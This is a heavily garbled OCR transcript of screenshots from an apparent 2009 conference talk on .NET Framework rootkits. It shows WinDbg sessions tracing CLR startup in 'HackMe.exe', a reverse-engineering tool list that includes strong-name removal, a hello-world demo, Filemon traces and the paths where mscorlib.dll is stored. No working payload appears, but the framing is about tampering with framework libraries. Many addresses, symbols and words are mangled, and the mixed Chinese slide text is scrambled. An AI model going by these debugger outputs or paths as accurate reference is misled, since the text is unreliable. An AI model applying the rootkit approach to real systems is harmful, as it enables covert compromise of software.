eax=00000000 ebx=7ffdf000 ecx=00000101 edx=ffffffff e=i=0132f6cc =di=02304b38

2ip=79011b2b e=p=0012ffcd4 ebp=0012fff0 iopl=0 nv up 21 pl Zr na pe nc
c==001b ===0023 d==0023 e=s=0023 f{==0038 g==0000 efl=00000246
mnecores! CorExeMain:

79011b2b &5 push ebp

0000 kb

ChildEEF RetAddr Arg=s to Child

Q012ffc0 77288945 02304b38 0132fetcc 7££d4df000 mscoree! CorExeMain
QO12f££0 00000000 0040238 00000000 OO0OQO00c® KERWEL3Z ! BaseProcessSts
0:000r bp mecorwks!_ corexemain

Bp expression 'mscorwks! _coreemain' could not be resolved. adding g

1IEII:EII:IEI;1 id mscgrﬂkg . re SXG |d:mSCOerS
+ load mscorwksp @ %7

0:000r bp mecorwks!_ CorExeMain
Bp expression 'mscorwks! CorEzeMain' could not be resolved. ding g
0:000: 1m

start end nodule names

Qo400000 00408000 image00400000 {deferred)
77ec0000 77{£34000 KERHEL3Z (pdb =vmbols)
F7L80000 77ifcO00 ntdll (pdb =vmbols=)
79000000 Y9045000 nEcores (pdb symbols)
0:000: bp mscorwks! CorEzeMain

Bp expression 'mscorwks! CorEzeMain' could pdt be resolved. adding deferred bp
0:000: 1ld mscores

Synbols already loaded for m=cores
0:000r 1d mscorjit
Ho i =

0 0ff>"Seeld mecorvks
000

ModLoad: 79=70000 72341000 Co~WIHHNT~Microsoft HET-Frameworlw2 0. 50727 m=corwks=. dll
eax=00000000 ebx=00000000 ecx=00860000 =dxz=00000000 e=i1=00000000 edi=7fifdel0n0

o weynbols~kernel s . pdD~2oF 07 o507 ~Kernel 37 . odn
c:~synbolssntdll . pdb~41AFDCDE1~ntdl]l . pdb
¢ aynbols macores . pdb~0D7C30DDE48364A76BCEABICELIBEE 3C4EZ ~mscores . pdh

eip=77f{88647 e=sp=0012{49% ebp=0012{52c 1opl=0 nv up 21 pl =r na pe nc
c==001b s===0023 d==0023 e==0023 {==0038 g==0000 efl=00000246
ntdll IHtHapViewlfSection+0xhb:

77£88647 22800 ret 28h

0000 kb

ChildEEF RetAddr Arg=s to Child

N012£498 77£8bbdd 000003ac fffff£f£f£f O0012{524 ntdll !|HtMapWViewlfSection+0xb
N012f{52c 77£8d324 00135548 0012£584 0012£858 ntdll!LdrpMapDll+0x199
N012£7d8 77f£85b43 00135548 0012£858 0012i860 ntdll!LdrploadDll+0=xl187
Q012£7f0 77eB807ce 00135548 0012£853 0012f£960 ntdll!LdrLoadDll+0x17

N012f£884 79004527 00134=b0 00000000 00000008 KEREWEL3Z2!LoadLibraryExW+0=x231
N012f8a8 79004441 00134=b0 00000000 00000008 mscoree!WszloadlLibrarvEx+0x75
Q012f8bz 7900446f 00134ab0 0efacz20? 02304b38 m=corees!LoadlibraryWrapperForEE+0=ze
N012ffad 79011b3d 00000001 0012ffbe 00000000 mecoree!Getlnstallation+0=xz1b0
Q012ffc0 772889d5 02304b38 0132fecc 7££d4df000 mscoree! CorExeMain+0xl?
QO12f££0 00000000 0040238 00000000 Q0O0O0Q00c® KERENEL3Z |BaszeProcessStart+0x3d
0:000: ld mzcoree

Svmbols already loaded for nscorees

4| | 3
[0 000> | @)=




EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

CommandLine: C:~Hackle. exe

Svmbol =earch path i=: c:~=vymbols;SEV#*c . “~=synbols*http: vm=dl]l microsoft . com-dowvnload-svymbols
Ezecutable search path is:

ModLoad: 00400000 00408000 inage00400000

(690 .7b0): Break instruction exception — code 280000003 (first chance)

eax=00000000 ebx=00131{04 ecxk=0000000%9 =dxz=00000000 esi=7f{fdf000 =di=00131£f70

2ip=77{9193c e=zp=0012{984 =bp=0012£{c98 iopl=0 nv up =21 pl nz na po nc
c==001b ===0023 d==0023 e==0023 {f==003b g==0000 ef

ntdll | DbgBrealkPoint :

7719193 co int 3

0:000: ==xe ld:m=corwvks

0:000x g

ModLoad: 79=70000 7a3d1000 C:wWINHAT-Microsoft HET-Frameworlwz . 0.1 Do .
5ax=00000000 ebx=00000000 ecx-00860000 =dx=00000000 esi=00000000 #d] P &a5 5 mscorwks::nEEStartupHelper
eip=77f88647 e=p=0012{f49c ebp=0012{f{5Z2c iopl=0 1 pl =1
c==001b ===0023 d=s=0023 e=s=0023 {==0038 g==0000 ef ]
ntdll INtHapViewlfSect ion+0xh:

77
0: 0> bp mecorwks | EEStartupHelper
1 ; (e

Breakpoint 0 hit
eax=0012£f£f14 =ebx=00000000 ecx=Ya3f8a9dc ed=xz=00000001 e=si=7adBa%9%dc edi=00000000

2ip=79=b?bi5 esp=0012f=fl =bp=0012ffZ4 iopl=0 nv up 21 pl =zr na pe nc
c==001b s===0023 d==0023 e==0023 {==0038 g==0000 efl=00000246
mn=corwk=s! EEStartupHelper:

79=b7ba5 55 push ebp

0000 kb

ChildEEF RetAddr Arg=s to Child

Q0lz2feec 79sbc?dig 0000000: =8a9d22d 00000000 mscorwks!EEStartupHelper
N012ff24 79ebc?8c 00000002 e8a9d2e6l 00000000 mecorwks!EEStartup+0=s0
Qo12ffed 79f05f16 00000002 =8a9d2b9 02304b38 m=corwlks!|EnsureEEStarted+0=zfa
0012ffb0 79011b5f Oledfecc 79270000 0012{iff0 mscorwlks!_ CorExeMain+0xb3
N012ff=0 77288945 02304038 016df6cc 7££4df000 mecores! CorExeMain+lxzdc
QO12f££0 00000000 0040238 00000000 Q0O0O0Q00c® KERENEL3Z |BaszeProcessStart+0x3d

0:000x li=t

® Syntax error in 'list’
0:000r Im
start end nodule name

oo400000 00408000 image00400000 (deferred)
70270000 70ad6000 SHLWAPT (deferred)

75200000 75e=lal00 IMM32 (deferred)

7740000 77e4£000 UTSEE3Z (deferred)

Flecl00n Y7i34000 KERHEL3Z (pdb symbols) o weynbols~kernel 32  pdb~45F071552~)kernel 32 . pdhb
7740000 77£7d4000 GDI32 (deferred)

F7L80000 77ifcO00 ntdll (pdb =ymbol=) c:~aeynbols~ntdl]l  pdb~41AFDCDE1Nntdl]l . pdb
Ja000000 Yao4s5000 nsEvcrt (deferred)

78130000 781cbO0o MSVCRE0 (deferred)

760000 7875£000 EFCET4 (deferred)

]

79000000 79045000 nscores {pdb symbols)
79640000 79735000 ADVAPTZZ (deferred)
79270000 Ya3dlooo nscorvks (pdb symbols)

cwaeynbolstmEcores . pdb~0D7C30DDE4864A76BCE4ABICEIBER IC4E ~m=cores . pdh

]

caynbolstmecorvlks  pdb~FFAID4CE454E4346B11ED7R1C22BDF 46 2 m=corwks . pdb | |

-




~5.11.0001 404 _ 2] x|

Innanaged code ;I
00l2feec 24fif and al.0FFh

00l2fe=se 1200 adc al.byte ptr [eax]
Q0l12fefn dac? fadd =t.st(?)

NQolzfef? =b79 jmp nolzfied

0lzf=ef4 0200 add al.byte ptr [=ax]
Q0l1zfefs 0000 add byte ptr [eax].al
N0l12fefd 2dd2a9=800 sub eax, DEBA9DZh
00lzfe=efd 0000 add byte ptr [eax].al
NQolzfeff 00dc add ah,. bl

o013

0:00 > bp mscorvks |WKES: :GCHeap: :FinalizerThreadStart

{E.'EI m]i . B I =) = I — I o [ DE.':I
690 . 7b0Y: C++ EH exception — code =06d7363 (first chance S8 A = &
Brosknoint 7 mit oo ‘ 3' » %7 FinalizerThreadStart
Sax=0000007f =bx=0017b538 =cx=001Yb538 =d=x=00130608 ==si=Y%=dbbitZ =dj
gip=79edfhi? esp=02ddffl8 ebp=02ddffh4 iopl=0 nw up =21 pl ng
ce=001b ===0023 d==0023 e==0023 {==0033 g==0000 ef]
m=corwk=s|TES: : GCHeap: :FinalizerThreadStart :
79edebi2 55 ruzh ebp

0:002: -0 kb 100
* Syntax error in '-0 kb 100
0.002: -0 kbino
* Syntax error in -0 kbiloo!
n.o0z2: ~0 kbinoo
ChildEEF Retiddr Args to Child
Q012£310 77£28£3239b 000003=c 00000000 00130000 ntdll!HtSetEvent+0=xb
N012£320 77f{87fdd 00130608 77fhb0ffd 00130608 ntdllIRtlplnWaitCriticalSection+lxlhb
Qo12f£328 77{b0ffd 00130608 77fb0O£fd45 00130000 ntdll!RtlleaveCriticalSection+0xzld
Q012£3%9z 77{9cc27? 00130000 S0000061 00180008 ntdll!RtlDebugFresHeap+0=228
Q012f43z 77fchb?4f 00130000 40000060 001230008 ntdll!RtlFresHeapSlowly+0=zdd
Q012fded 79e783ca 00130000 40000060 00120008 ntdll!RtlFreeHeap+0=35
Q012£f51c 7978394 00130000 00000000 001230008 m=corwlks!|EEHeapFres+0x83
0012£f52c 79e782dc 00000000 00120008 =8a29d869 mscorwks|EEHeapFreelnProcessHeap+0x2l
0012£560 79f{8be3d2 00180008 0017£138 79f8belf mscorwvksloperator delete[ ]+0x30
0012f56c 79{8bel8 0017be20 7alecd?f 00000001 mscorwks!|CCodebaszsEntry: :~CCodebaseEntry+0xlt
0N12£5%74 7alecd?f 00000001 =8a29d8al 00000000 mscorwks!CDebuglogElement: : "scalar deleting destructor'+0x8
0012£f5%a8 Yalebele 0017be20 7aleb?fa 00000001 mscorwks!CDebuglog: :™~CDebuglog+0x40
0012£5b0 YaleG7fa 00000001 0012£298 00000000 mscorwks!CDebuglog: : " wector deleting destructor'+0x8
0012£5c0 7alG5076c 0017bell =8a29db31 0012f298 mscorwks|CDebuglog: :Releasze+0x23
0012fadc 79{0579%9 0017bc?0 7a38beldc 00000000 mscorwks!|BindToSystem+lzala
0012£d28 79{0552c 0012£{d9c 79f93fef =8a9d0al mscorwvks!|FPEAssembly:  DolOpenSystemn+0=z25e
0012fdad 79ebfzbe e8a9%d0e9 7a38be?c 7a38bb38 mscorwks | PEAsszembly:  OpenSyvs=ten+0=zba
0012fdel 7Y9=b9673 =8a9d4319 79=70000 01000000 mscorwks!Sy=stenDomain: : LoadBaseSystemClas=ses+0x98
0012f=l0 79=b8053 0012febc 79f93feh =28a9d371 mscorvks!|Sy=temDomain: : Init+0xaa
00l12feec 79ebc?d8 00000002 =829d422d 00000000 mscorwks!|EEStartupHelper+(l=ztel
Q012ff24 79e=bc?8c 00000002 =8a9d261 00000000 m=corwks!EEStartup+0=50
QO1z2ff68 79f05fle 00000002 =8a9d42b9 02304bL38 mscorwks |EnsureEEStarted+0=zfa
Q012ffb0 79011b5f 0ledfecc 79270000 0012f£ff0 me=corwks!_ CorExeMain+0zbd
0012ffc0 77e889d5 02304b38 0ledfecc PEE£4AE000 mscoree! CorExzeMain+l=zZco
QO12£££0 00000000 0040238 00000000 000000=2 KERWEL3Z|BaszeProcessStart+0x3d

[0z | @] 3



EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

Hicro=zoft (E) Windows Debugger Version 6.11.0001.404 X386 :J
Copyright (o) Microsoft Corporation. All rights reserwved.

CommandLine: C:~Hackle. exe

Symnbol =earch path iz owsynbols;SEV#c: ~=ynbols*http: sm=sd]l microzoft . condovnload-symbols
Ezecutable search path is:

ModLoad: 00400000 00408000 image00400000

(704,828 Breal instruction exception — code 20000003 (first chance)

eax=00000000 ebx=00131{04 ecxk=0000000%9 =dxz=00000000 esi=7f{fdf000 =di=00131£f70

eip=77£9193c e=sp=0012£f{984 ebp=0012{f=98 iopl=0 nv up 21 pl nE na po nc
c==001b s===0023 d==0023 e==0023 {==003L g==0000 efl=00000202
ntdll | DbgBrealkPoint :

7719193 co int 3

0:000: ==xe ld:m=corwvks

o.000 g

HodLoad: Y9=70000 7a3d1l000 C:»WIHHT~Hicrozof t . HET~Frameworl™~v2 . 0
eax=00000000 ebz=00000000 ecx=00860000 =dxz=00000000 e=i=00000000 =dq

eip=77f88647 e=sp=0012{49% ebp=0012{52c 1opl=0 nv up 21 pl 4

c==001b ===0023 d==0023 e==0023 {f==0038 g==0000 =1

ntdll IHtMap¥iewlfSect ion+0xb: .

77£88647 £22800 ret 28h ¢ %13t ClassLoader

0:000 kbioo
ChildEEP FetAddr Arg=s to Child
Q012f£498 77f8bbdd 000003ac fiffffff 0012f524 ntdll !IHtHapViewlfSect]
N012f52c 77f£8d324 00135548 0012£584 0012£858 ntdll ! IdrpMapDll+0=x19
Qo12f7d8 77f£85b43 00135548 0012£858 0012f£860 ntdll ! IdrpLloadDll+0xl
QO12£7f0 7728076 00135548 0012£858 0012£860 ntdll ! IdrLoadDll+0=x17
Q012£884 79004527 00134ab0 00000000 00000008 KERMEL3Z ! LoadLibrarvE=xW+
N012f8a8 79004441 00134ab0 00000000 00000008 m=cores!WszloadLibra
N012f8bc 7900446f 00134ab0 60762461 02304038 mE=cores!Lloadlibr
Q0l12ffad 79011b3d 00000001 0012ffhc 00000000 mEcores!Getl allation+0=z1hi
Q012ffc0 77288945 02304b38 0l3afecc 7£f£d4df000 mscoree! ZorExeMain+0xl?

o EE IO E e oo T TeIe . BazeFrocessStart+0x3d

0

(704 .828): C++ EH emception — code =06d7363 (first chance)

(704.828): C++ EH emception - code 0647363 (first chance)

Breakpoint 0 hit

eax=0012f81c ebx=00000000 ecx=0f3d567a edx=830000001 e=si=008b2fed =di=00000000

2ip=79f08308 e=sp=0012{7=4 =bp=0012£f8334 iopl=0 nv up 21 pl nz na pe nc
c==001b s===0023 d==0023 e==0023 {==003L g==0000 efl=00000206
necorwk=s!ClassLloader: :FunMain:

79fngang &5 push ebp

0000 kbloo

ChildEEF RetAddr Arg=s to Child

Q012f7=0 79{082a9 008b2f=8 00000001 0012f81c m=corwks!Classloader: :RunMain

Q012f=48 79£{0817e 00000000 0f2fac8e 00000000 mscorwks!lAssembly: :EzxecuteMainMethod+0=zas
Q01z2££18 79£07dc? 00400000 00000000 Df2£fa912 mscorwks!|SystenDomain: ExecuteMainMethod+0x398
0012ff68 79f05i61 00400000 Df2fa9ca 02304038 mscorwls!ExecuteEXE+0=x59

Q012f£b0 79011b5f O013afecc 79=70000 0012{i££0 mecorwlks!_CorExeMain+lxzllb

Q012ffc0 77288945 02304038 0l13aftcc 7££d4df000 mscorese! CorExeMain+(xic

QO12f££0 00000000 0040238 00000000 Q0O0O0Q00c® KERENEL3Z |BaszeProcessStart+0x3d

0:000> | @)=




EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

79£08308 55 rush  shp -
0000 kbl0oo

ChildEEF RetAddr Arg=s to Child

Q012f7=0 79{082a9 008b2f=8 00000001 0012f81c m=corwks!Classloader: :RunMain

N01Zfad48 79f081%7e 00000000 0fZ2facBe 00000000 m=corwks!Aszsembly:  ExecuteMainlethod+0=zab

Q01z2££18 79£07dc? 00400000 00000000 Df2£fa912 mscorwks!|SystenDomain: ExecuteMainMethod+0x398

0012ff68 79f05i61 00400000 Df2fa9ca 02304038 mscorwls!ExecuteEXE+0=x59
Q012f£fb0 79011b5f 013afecc 79270000 0012if£0 mscorwks!_ CorEzeMain+Oxllb
Q012ffc0 77288945 02304038 0l13aftcc 7££d4df000 mscorese! CorExeMain+(xic

ool azeProces=Start+0=x3d

0:008 > bp mecorwks | MethodDesc: (CalllDescr
00 i - 5

Breakpoint 1t

2ax=00000001 ebx=0012f6c8 ecx=008b?fef edx=0012f5bf esi=008b2fed edi=000000( ¢ %>t CallDescr
eip=79=88dlc esp=0012{654 ebp=0012{724 iopl=0 nv up 21 pl nE na po

c==001bk ===0023 d==0023 e==0023 f{==003L g==0000 efl=0000021(

mnecorwks!MethodDesc: : CallDescr:

79=88d1z 55 push ebp

0:000 kbioo

ChildEEP FetAddr Arg=s to Child
Q012f650 79=88d419 008b3058 0012fi72c 0012f6el me=corwks!MethodDesc: :Calllescr
Q012f663 79=88cft 008b3058 0012i72c 0012f6el mscorwks!MethodDesc: :CallTargetWorker+0=20
Q012f67c 79£0834b0 0012fe6el 0f2falSe 00000000 mscorwkslMethodDescCallSite: :
Q012f7e0 79f082a9 008bZ2fed 00000001 0012f81c m=corwks!ClassLoader: :RunMaind
Q012f=48 79{0817e 00000000 0f2fac8e 00000000 mscorwks!lAs=zembly: :EzecuteMairn
Q01z2££18 79{07dc? 00400000 00000000 0f2£2912 mscorvks|SystenDomain: Executs
Qol1zffed 79f05f61 00400000 0f2fa%za 02304b38 m=corwks!|ExecuteEXE+0=z59
Q012f£b0 79011b5f 013afbcc 79270000 0012f£ff0 mscorwks! CorExeMain+0xl 5
0012ffc0 77e889d5 02304b38 013aféce 7f£df000 mscoree! CorExeMaintl=?c ¢ %12t CallDescrWorker
.............. _ BazeFroces=Start+0x3g
rliorker

mnecorwk=s!Calllesc

M0 > bp

0 (e

Breakpoint 2 hit
eax=0012£500 ebx=0012fdac ecx=00000000 edx=0012fdac e=1=001719b8 edi=000000

eip=79=88f44 e=p=0012£f494 =bp=0012£f510 iopl=0 nv up 21 pl zr na pe nc
c==001b s===0023 d==0023 e==0023 {==003L g==0000 efl=00000246
nzcorvks!CalllescrVorker:

79e=88£f44 55 push ebp

0000 kb

ChildEEF Fetiddr Arg=s to Child

0012£490 79e88esd 0012£560 00000000 0012£530 mscorwks!CalllDescrWorker

Q012£510 79=88=31 0012£560 00000000 0012£530 mscorwks!CalllescrWorkerWithHandler+0zai
N012fe50 79288419 008bL3058 0012f72c 0012i6el mscorwks!MethodDesc:  CallDescr+0=xl19c
N012f663 79=88cft 008b3058 0012fi72c 0012f6el mscorwks!MethodDesc: :CallTargetWorker+0=z20
Q012f67c 79£0834b0 0012f6el 0f2fal5e 00000000 mscorwks!MethodDescCallSite: :Call+0x18
Q012£7e0 79{082a9 008b2fe8 00000001 0012f81c mscorwks!ClassLloader: :RunMain+0=220
Q012f=48 79£{0817e 00000000 0f2fac8e 00000000 mscorwks!lAssembly: :EzxecuteMainMethod+0=zas
Q01z2££18 79£07dc? 00400000 00000000 Df2£fa912 mscorwks!|SystenDomain: ExecuteMainMethod+0x398
Qol1zffed 79f05f61 00400000 0f2fa%za 02304b38 m=corwks!|ExecuteEXE+0=z59

QO012ffb0 79011b5f 013afboc 79270000 0012fff0 m=corwks!|_ CorExzeMain+lxzllb

Q012ffc0 77288945 02304038 0l13aftcc 7££d4df000 mscorese! CorExeMain+(xic

Qo12f££f0 00000000 0040238 00000000 000000=% KERWEL3?!|BaszeProcessStart+0x=3d

0:000> | @)=




EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

70270000 70ade000 SHLWAFI (deferred) ﬂ
75200000 75ela000 THMM32 (deferred)

7740000 7Y7ed4f000 USER3Z2 (deferred)

77ec0000 77{34000 KERHEL3Z (pdb =vmbols=) o ~aynbaol

F7E40000 F7£7d4000 cDI32 (deferred)

77f80000 Y7ifcOOO ntdll (pdb symbols) c:~aynbol - = g
78000000 78045000  msvert (deferred) bp mscorwks!Assembly::GetEntryPoint
FOEL0000 Z375£000 RFCET4 (deferred)

79000000 Y9045000 nEcores (pdb symbols) c:~aynbol

79ed0000 79735000 ADVAPTAZ (deferred) ’/////////’,,,/V :
7927 0 el = 3

0.ooo
(7ec.1lfc): C++ EH emception — code =06d7363 (first chance)

(7ec.1fc): C++ EH emception — code =06d7363 {first chance)
Breakpoint 0 hit
eax=0012f814 ebx=00000000 ecx=00181{78 e=dx=00000004d e=1=00000200 =di=00000000

eip=79f0874]1 e=sp=0012{7f4 =ebp=0012£334 10pl=0 nv up 21 pl =r na pe nc
c==001b s===0023 d==0023 e==0023 {==003L g==0000 efl=00000246
mnecorwks! Assenbly .  GetEntrvPoint

79f08741 55 push ebp

0000 bl

~

Syntax error in 'bl’

Fethiddr Arg=s to Child

79f0828f 1d37bbEZ 00130290 00000200 me=corwks!Assembly:  GetEntryFoint

79i081%7= 00000000 1437b942 00000000 mscorwks!A=zsembly:  ExecuteMainMethod+0=zic
79£{07dc? 00400000 00000000 1d37bode mecorwvks!SystenDomain: :EzxecuteMainMethod+0x398

79f05£61 00400000 1d37bcle 02304038 m=corwlks!ExecuteEXE+0=x59
79011L5f 0132fAcc 79270000 0012£££0 mecorwvks!_ CorExeMain+0xllb
77288945 02304b38 0132fbtcc 7££4E000 mecores! CorExeMain+(xicoc
QOo000000 0040238 00000000 00O0000c8 KERWEL3Z |BaseProcessStart+0x3d

start end nodule namne

00400000 oO408000 image00400000 C (no symbols)
0o9fo000 0O0=36000 shell32 (deferred)
02240000 03ade000 n=corlib ni (deferred)
70a70000 70ade00n SHLWAPT (deferred)
71710000 71794000 COMCTL3Z (deferred)

75200000 7S5ela000 TMM32 (deferred)

7740000 7Y7ed4f000 USER3Z2 (deferred)

Flecl00n Y7i34000 KERHEL3Z (pdb symbols) o weynbols~kernel 32  pdb~45F071552~)kernel 32 . pdhb
7740000 Z7£7d4000 cDIz2 (deferred)

F7L80000 77ifcO00 ntdll (pdb =vmbols=) c:~synbolssntdll . pdb~41AFDCDE1~ntdl]l . pdb
Ja000000 Yao4s5000 nsEvcrt (deferred)

78130000 781cbO0o MSVCRE0 (deferred)

760000 7875£000 EFCET4 (deferred)

79000000 Y9045000 nEcores (pdb symbols)
79640000 79735000 ADVAPTZZ (deferred)

aynbolstsmecores . pdb0D7C30DDE4864A76BCEABICE1SER 3CAE 2~ m=cores . pdb

]

79=70000 7a3dionn nscorvks {pdb symbols) o weynbols~nscorvks  pdb~7FAIDACE454E4346B11ED7E1C22BDF 46 2 mscorwk=s . pdb
Jofiooon Yofefooo olei? (deferred) |-
4| | 3
= E E—



CLR Init :& iF

¢ mscoree! CorExeMain
* Mscoree{* » engine
¢ Mscorwks! CorExeMain
o Mscorwks!EEStartupHelper

¢ Mscorwks!SetupThread
 Mapping OS thread £ CLR thread

+ Mscorwks!ClassLoader

+ Mscorwks!CallDescr

¢ Mscorwks!CallDescrWorker

o mscorwks!Assembly: :GetEntryPoint
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Tool you Need

windbg IDA Pro ollydbg PEBrowse
dbg

GuidDbg PEInfo LoadPE PEID

CFF MegaPuck |ilasm ildasm

explorer

ngen sn Reflector |ILDecoder

StrongName | Re-Sign
Remove
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NET Framework Rootkits

o 2 PNET
static void Main(string[] args)

{
Console.WriteLine("Hello (crazy) World!");

}
e HiTRE

¢ SDK Command Prompt

F:5\Demos\#1l WeiteLinespunme*hello.exe
Hello <crazy) World?
Hello <crazy) World!

F:x\DemosB1l WriteLinesrunme?

HIT:




NET Framework Rootkits

* R %]
o NET frameworkﬁﬁWriteLinezﬁpt%i 3 3
R ff!wg'\ﬁﬂ 2R R R 3 B, ?ﬁ‘?“ R |
s . NETE 3 0} iF
 Mscorlib.dll
 Mscoree.dll

o Mscorwks.dll
o Mscorxxxxx.dll ‘FR T3P %

HIT Sonference 200G
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3 - Bk S

d b
EESTHEREY: B (T): B8 |EE
= Visual C++ 42 ASPNET Web i35 ERE
- ATL TACLE FESERES TEJCLE ZEEEEE
I]gj 20L Berver B3 E Windows Form FEFRTZ I
MFC 7 Windows Form k| BiE =L EE A Windows AR5
L EIEREE
R L BT == $p=S
L g S L
- BB FEEE
| BT F S AT AREE
EF I | <@ B
=i E |C:".D|:u:1.1man1:s and Bettings\i dmndnistrator by Documents\Visnal Stodio 20054 ojects ;l HEFED... |
FESE | B EHE- v BRFRE B

Y

HIT Conference 2009
72



2% e demo - Mico

WRE BEE ﬁﬁﬁﬁ) 5;@ == (E)
JJ = - EHEI& Ba @ |9 - ™ - SE-E | b Debug
- |

=L

|D@@¢J4«aﬂaﬂ=—.§2

iAgEs Oy THRI REMH ©EFC A

| iSRnEERED

o 7538 wme demo' (1 BEZE)
5 &

= L FIstE e
f_vj L zmemblyInfo cpp
f_vj stdaf=.cpp

L €08 A demno.cpp
B [ {EEEE
] resource.h
] stdafxch
| app.ico
(=i app.C

----- . Readbde bt

=1

=7 wmc demo .cpp: o SeERIEAE -
#include "stdafx h"
uzing namespace Sw=atem;
Bint mainfarray=Svstem: String %= targs)

Conzole: Writeline{L"Hello Waorld");
return O]

SR [T iR | e e

BET ) AR )

|

) L]

BT of BHEN

| R A =|E

R e | o B eE | =] T
TETERESTEEE Yme demo’.. SRSTARITARTY -

HIT Conference 2009
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Run “ymc demo”.exe

C:~Documents and SettingsAdminiztrator~My Documentz*Uizual Studio 20805-FProjects
sumc demo~Debug>""ymc demo' .exe

Hello YWorld

CzsDocuments and SettingssAdministrator“My Documents“Uizual Studio 28805“Projects

~uymc demo ~De buwg >

HIT Conference 2009
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Filemon

B File Monitor ) rals.com =] x|

Elle Edit Options: ¥oluomes Help

H=E | ABE | @ | < 2 | 43

# | Time | Process | Reqguest | Path =
13] Fa 110636 O ymedemoexe832 QUERY INFOR... CWWINNTWMicrosoft NET\Framewaorkiv2 0 5072 Piconfiglenterprisesec.config.o
86 F11:06:36 O yme demo exe:832 READ S IMMNTWMicrosoft. NETVFrameworkiv2 0 6072 Pcorfigienterprisesec.config.o
87 E11:06:36 O ymc demo exe832 QUERY INFOR... CiwINNT\Microsoft MET\Frameworkiw2 0 50727 \corfigienterprisesec config.o
83 FH 110636 O yme dermno exe 832 QUERY INFOR . CiDocuments and Settings\administratonapplication Data J
g9 F11:06:36 O yme demo exa:832 OPEN ChDocuments and Settingsadministratonapplication DataiMicrosoftiCLR Sed
g0 F11:06:36 O ymc demo exe:832 OPEN ChDocuments and Settingsiadministratordpplication DataiMicrosoftiCLR Se
91 F11:06:36 O yme demo exe832 QUERY INFOR... CiDocuments and Settingsiadministratonapplication DataiMicrosoftCLR Sex
= F11:06:36 O yme demo exe 832 READ ChDocuments and Settings\AdministratorApplication DatakMicrosofiCLR Sex
g3 FF 110638 O yme dermo exe 832 QUERY INFOR . CiDocurments and Settingsiyadministratonapplication DatalMicrosoftCLR Sec
94 B 110636 | ymc demo.exe 832 OPEN Caw NN TV assemblANativelmages_v2.0.50727_32\indexB5b . dat

g5 F11:06:36 O yme dermo.exe832 QUERY INFOR... CiwINNT\assembliNativelmages_v2.0.50727_32mscorlibiéfeb9ealal bhdb:
=1 F11:06:36 O ymc demo exe 832 OPEN CivINNTVassemblANativeimages_v2 0 B0727_32\mscorlib\&feb9eal a1 bhdb-
a7 E11o63s O ymc demo.exe 832 QUERY INFOR. ... CYWWINNT\assemblMNativelmages_v2.0 b0O727_32\mscorlibiEfeb9eal al bbdb-
93 B 110636 | ymc demo.exe 832 CLOSE Caw MM TVassemblANativelmages_v2.0.50727_32\mscorlibiEfeb8ealal bbdb:
99 Fa 110636 O ymedemoexe832 QUERY INFOR... CWwINNT\assemblANativelmages_v2 0 50727_32\mscorlibiEfeb9eal al bbdb-
100 F11:06:36 O yme demo exa:832 OPEN G IMMNTVassembkMativelmages_v2 0 b0727_32mscarlibi&feb9eal al bbdb:
121 B 110636 | CLOSE Mativelrmages_ w2 .0. 50?2? _3Pmscorlibh\efeb%eal al bbhdbe.

mic demo exe 832

- mo demo exe 8332 DIRECTORY C\WINNﬂassembMGAC 32\msoorl|b\2 0.0 O b??a50561 9849089\

104 EF11 06 86 | vimc demo.exe 832 CLOSE ChwIMNTVassemblAGAC_32\mscorlibh2.0.0.0__b77abcbB519342089

106 E11:06:36 O ymc demo exe832 QUERY INFOR... CiDocuments and SettingsiadministratonMy Docurmentsivisual Studio 20054
106  E11:06:36 O vme demo.exe832 OPEN ChDocuments and Settingshddministraton iy Documentsivisual Studio 20054
107 F11:06:36 8 yme demo exe832 DIRECTORY ChDocuments and Settingsvadministratoriby Documentsivisual Studio 20084
108 E11:06:36 O yme demo exe:832 CLOSE ChDocuments and Settingsiadministratoriby Documentsivisual Studio 20064
109 F11:06:36 O ymc demo.exe:832 OPEN Chbocuments and Settings\administratoriby Documentsivisual Studio 20084
110 E11:0636 O vme demoexe 832 DIRECTORY ChDocuments and Settings\AdministratorMy Documentsivisual Studio 20064
111 F11:06:36 O yme demo exe832 CLOSE ChDocuments and Settingsadministratoritdy Documentsivisual Studio 20084
112 E11:06:36 O ymc demo exe:832 OPEN ChDocuments and Settings\administratonby Documentsivisual S‘rudlo 2005'\I

113 FA 110636 O vme demo.exe832 DIRECTORY Chbocuments and Settings\Administratoriky Documentsivisual S
114 E211:0636 O vme demoexe832 CLOSE ChDocuments and SettingshAdministratony Documentsivisual S
|

|




—”F% mscorlib.dll 7R

‘m\ “\

200908187 10:8%a <DIR> ;
200981787 10:@%a <DIR> .-
20098187 10:8%a 11.411.456 mscorlib.ni.dll
1 {EfEEE 11,411,456 {if
2 A H$#F 18.343.137.2808 {iHe] H

C=“WINHNT “~assembly~Mativelmages_v2 A.58727_32 mscorlib~6febh?ealalb5db45%eaeYcald@??
eeb3c?red

mscorlib.dll ~s
C CHEURIESSE R -

ﬂ”ﬂ-r*EI:F"‘-m: 9CBC-9639

H#fi: C:“WINNT“~assembly~GAC_32-mscorlib~2.@8.8.8_ h77a5c561934e@89

2007./01,87 09:58a 4,398,992 mscorlib.dll
1 {EfEZ 4,308,992 {7TiH

H#f: C:“WINNT“Microsoft _ NET“Framework-w2_ @A_50727

2085 /89/23 B7:28a 4,308,992 mscorlib.dll
1 {EFg== 4,308,992 {iH
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C:\winnt\assembly

EEE &REE R HREsEFEen TR EREHdE

HE
Ix

S E—E - o= - 2| Qs DhEeEe o8| = oar x| EE-

Ak T I_[:I assernblyw ;I o iEE

HiEEFE - | BEE= | =z i | RE=EmeEE E T | ===288... | -
4@y Micmoenft Fisnal@todio ¥ COCo . 5000 bO=2E51711 1d 50a%a

s Micrasoft ¥isnaldtodio ¥ CPro... 2.0.0.0 BOZESEFE] 14 50a%

4i#] Microsoft. VisnalStudio ¥ CPmo... 2000 BOZE5E711 1d.50a3

4@ Micmosnft ¥isnalStodio Virtoal. .. 8000 bO2E5E711 1d. 50a%a REIL

s Microsoft. VisnalStudio Wirtoal... 2.000 zh-CHT BO2ESE7E1 14 50a%a MEIL

4@ Microsoft. VisnalStudio ¥SCo... 2000 BOZE5E711 1d.50a3 MEIL

4 Microsoft VisualStudio WEHelp  7.0.230... bO2E5E711 1d. 50a%a

